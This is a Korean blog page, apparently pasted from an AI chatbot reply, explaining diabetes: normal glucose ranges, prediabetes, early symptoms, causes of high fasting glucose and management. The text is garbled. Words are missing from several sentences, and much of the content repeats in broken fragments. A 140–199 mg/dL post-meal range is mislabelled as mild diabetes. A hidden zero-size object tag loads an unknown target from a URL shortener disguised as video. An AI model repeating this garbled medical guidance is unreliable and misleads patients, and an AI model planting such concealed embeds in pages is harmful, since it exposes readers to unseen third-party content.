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<div _ngcontent-ng-c4043730060="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:33">당뇨, 정상 수치, 전조 , 공복 혈당이 높은 이유</h2><h3 data-sourcepos="3:1-3:10">당뇨병이란?</h3><p data-sourcepos="5:1-5:111">췌장에서 분비되는 인슐린이 제대로 작용하지 않아 혈액 속 포도당(혈당)이 높아지는 만성 입니다. 혈당이 지속적으로 높으면 심혈관 , 신경병증, 망막병증 등 다양한 합병증을 유발할 수 있습니다.</p><h3 data-sourcepos="7:1-7:12">정상 혈당 수치</h3><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:24">
<p data-sourcepos="9:3-9:24"><strong>공복 혈당:</strong> 70~100mg/dL</p>
</li>
<li data-sourcepos="10:1-11:0">
<p data-sourcepos="10:3-10:28"><strong>식후 2시간 혈당:</strong> 140mg/dL 미만</p>
</li>
<li data-sourcepos="12:1-13:0">
<p data-sourcepos="12:3-12:76"><strong>참고:</strong> 혈당 수치는 검사 방법이나 기준에 따라 약간의 차이가 있을 수 있습니다. 한 수치는 담당 의료진과 상담해야 합니다.</p>
</li>
</ul><h3 data-sourcepos="14:1-14:12">당뇨병 전 단계</h3><ul data-sourcepos="16:1-18:0">
<li data-sourcepos="16:1-16:39"><strong>공복 혈당 장애:</strong> 공복 혈당이 100~125mg/dL인 경우</li>
<li data-sourcepos="17:1-18:0"><strong>경도의 당뇨병:</strong> 식후 2시간 혈당이 140~199mg/dL인 경우</li>
</ul><p data-sourcepos="19:1-19:45">당뇨병 전 단계는 당뇨병으로 진행될 가능성이 높으므로 적극적인 관리가 필요합니다.</p><h3 data-sourcepos="21:1-21:14">당뇨병의 전조 </h3><ul data-sourcepos="23:1-30:0">
<li data-sourcepos="23:1-23:33"><strong>다뇨:</strong> 평소보다 소변을 자주 보고 소변량이 많아짐</li>
<li data-sourcepos="24:1-24:25"><strong>다갈:</strong> 갈증이 심해 물을 자주 마심</li>
<li data-sourcepos="25:1-25:27"><strong>체중 감소:</strong> 원인 모르게 체중이 감소함</li>
<li data-sourcepos="26:1-26:19"><strong>피로감:</strong> 만성적인 피로감</li>
<li data-sourcepos="27:1-27:32"><strong>시력 변화:</strong> 흐릿하게 보이거나 눈이 자주 피로함</li>
<li data-sourcepos="28:1-28:28"><strong>느린 상처 회복:</strong> 상처가 잘 아물지 않음</li>
<li data-sourcepos="29:1-30:0"><strong>손발 저림:</strong> 손발에 감각 이상이 나타남</li>
</ul><h3 data-sourcepos="31:1-31:16">공복 혈당이 높은 이유</h3><ul data-sourcepos="33:1-38:0">
<li data-sourcepos="33:1-33:43"><strong>인슐린 저항성:</strong> 세포가 인슐린에 제대로 반응하지 않아 혈당이 높아짐</li>
<li data-sourcepos="34:1-34:33"><strong>췌장 기능 저하:</strong> 췌장에서 인슐린 분비량이 줄어듦</li>
<li data-sourcepos="35:1-35:39"><strong>유전적 요인:</strong> 가족력이 있는 경우 당뇨병 발생 위험이 높아짐</li>
<li data-sourcepos="36:1-36:40"><strong>생활 습관:</strong> 비만, 운동 부족, 스트레스, 불규칙한 식습관 등</li>
<li data-sourcepos="37:1-38:0"><strong>기타 :</strong> 쿠싱 증후군, 다낭성 난소 증후군 등</li>
</ul><h3 data-sourcepos="39:1-39:10">당뇨병 관리</h3><ul data-sourcepos="41:1-45:0">
<li data-sourcepos="41:1-41:40"><strong>식이 요법:</strong> 규칙적인 식사, 탄수화물 섭취 조절, 저지방 식단</li>
<li data-sourcepos="42:1-42:27"><strong>운동:</strong> 꾸준한 유산소 운동과 근력 운동</li>
<li data-sourcepos="43:1-43:32"><strong>약물 :</strong> 인슐린 주사, 경구 혈당 강하제 등</li>
<li data-sourcepos="44:1-45:0"><strong>정기적인 건강 검진:</strong> 혈당, 혈압, 콜레스테롤 수치 등을 정기적으로 확인</li>
</ul><p data-sourcepos="46:1-46:85"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 달라질 수 있습니다. 한 진단과 는 전문 의료진과 상담해야 합니다.</p><p data-sourcepos="48:1-48:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><ul data-sourcepos="50:1-52:0">
<li data-sourcepos="50:1-50:38"><strong>더 자세한 정보를 원하시면 어떤 부분에 대해 궁금하신가요?</strong></li>
<li data-sourcepos="51:1-52:0"><strong>개인적인 상황에 맞는 정보를 원하시면 어떤 질문을 드릴까요?</strong></li>
</ul><p data-sourcepos="53:1-53:10"><strong>예시 질문:</strong></p><ul data-sourcepos="54:1-58:0">
<li data-sourcepos="54:1-54:28">당뇨병 합병증에 대해 더 자세히 알고 싶습니다.</li>
<li data-sourcepos="55:1-55:32">당뇨병 환자를 위한 운동 종류에는 어떤 것들이 있나요?</li>
<li data-sourcepos="56:1-56:30">당뇨병 식단에 좋은 음식과 나쁜 음식은 무엇인가요?</li>
<li data-sourcepos="57:1-58:0">당뇨병 약물 종류와 에 대해 알고 싶습니다.</li>
</ul><p data-sourcepos="59:1-59:29"><strong>저는 언제든지 도와드릴 준비가 되어 있습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<p data-sourcepos="9:3-9:24"><strong>공복 혈당:</strong> 70~100mg/dL</p>
</li>
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<p data-sourcepos="10:3-10:28"><strong>식후 2시간 혈당:</strong> 140mg/dL 미만</p>
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<p data-sourcepos="12:3-12:76"><strong>참고:</strong> 혈당 수치는 검사 방법이나 기준에 따라 약간의 차이가 있을 수 있습니다. 한 수치는 담당 의료진과 상담해야 합니다.</p>
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</ul><h3 data-sourcepos="14:1-14:12">당뇨병 전 단계</h3><ul data-sourcepos="16:1-18:0">
<li data-sourcepos="16:1-16:39"><strong>공복 혈당 장애:</strong> 공복 혈당이 100~125mg/dL인 경우</li>
<li data-sourcepos="17:1-18:0"><strong>경도의 당뇨병:</strong> 식후 2시간 혈당이 140~199mg/dL인 경우</li>
</ul><p data-sourcepos="19:1-19:45">당뇨병 전 단계는 당뇨병으로 진행될 가능성이 높으므로 적극적인 관리가 필요합니다.</p><h3 data-sourcepos="21:1-21:14">당뇨병의 전조 </h3><ul data-sourcepos="23:1-30:0">
<li data-sourcepos="23:1-23:33"><strong>다뇨:</strong> 평소보다 소변을 자주 보고 소변량이 많아짐</li>
<li data-sourcepos="24:1-24:25"><strong>다갈:</strong> 갈증이 심해 물을 자주 마심</li>
<li data-sourcepos="25:1-25:27"><strong>체중 감소:</strong> 원인 모르게 체중이 감소함</li>
<li data-sourcepos="26:1-26:19"><strong>피로감:</strong> 만성적인 피로감</li>
<li data-sourcepos="27:1-27:32"><strong>시력 변화:</strong> 흐릿하게 보이거나 눈이 자주 피로함</li>
<li data-sourcepos="28:1-28:28"><strong>느린 상처 회복:</strong> 상처가 잘 아물지 않음</li>
<li data-sourcepos="29:1-30:0"><strong>손발 저림:</strong> 손발에 감각 이상이 나타남</li>
</ul><h3 data-sourcepos="31:1-31:16">공복 혈당이 높은 이유</h3><ul data-sourcepos="33:1-38:0">
<li data-sourcepos="33:1-33:43"><strong>인슐린 저항성:</strong> 세포가 인슐린에 제대로 반응하지 않아 혈당이 높아짐</li>
<li data-sourcepos="34:1-34:33"><strong>췌장 기능 저하:</strong> 췌장에서 인슐린 분비량이 줄어듦</li>
<li data-sourcepos="35:1-35:39"><strong>유전적 요인:</strong> 가족력이 있는 경우 당뇨병 발생 위험이 높아짐</li>
<li data-sourcepos="36:1-36:40"><strong>생활 습관:</strong> 비만, 운동 부족, 스트레스, 불규칙한 식습관 등</li>
<li data-sourcepos="37:1-38:0"><strong>기타 :</strong> 쿠싱 증후군, 다낭성 난소 증후군 등</li>
</ul><h3 data-sourcepos="39:1-39:10">당뇨병 관리</h3><ul data-sourcepos="41:1-45:0">
<li data-sourcepos="41:1-41:40"><strong>식이 요법:</strong> 규칙적인 식사, 탄수화물 섭취 조절, 저지방 식단</li>
<li data-sourcepos="42:1-42:27"><strong>운동:</strong> 꾸준한 유산소 운동과 근력 운동</li>
<li data-sourcepos="43:1-43:32"><strong>약물 :</strong> 인슐린 주사, 경구 혈당 강하제 등</li>
<li data-sourcepos="44:1-45:0"><strong>정기적인 건강 검진:</strong> 혈당, 혈압, 콜레스테롤 수치 등을 정기적으로 확인</li>
</ul><p data-sourcepos="46:1-46:85"><strong>주의:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 달라질 수 있습니다. 한 진단과 는 전문 의료진과 상담해야 합니다.</p><p data-sourcepos="48:1-48:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><ul data-sourcepos="50:1-52:0">
<li data-sourcepos="50:1-50:38"><strong>더 자세한 정보를 원하시면 어떤 부분에 대해 궁금하신가요?</strong></li>
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</ul><p data-sourcepos="53:1-53:10"><strong>예시 질문:</strong></p><ul data-sourcepos="54:1-58:0">
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<li data-sourcepos="55:1-55:32">당뇨병 환자를 위한 운동 종류에는 어떤 것들이 있나요?</li>
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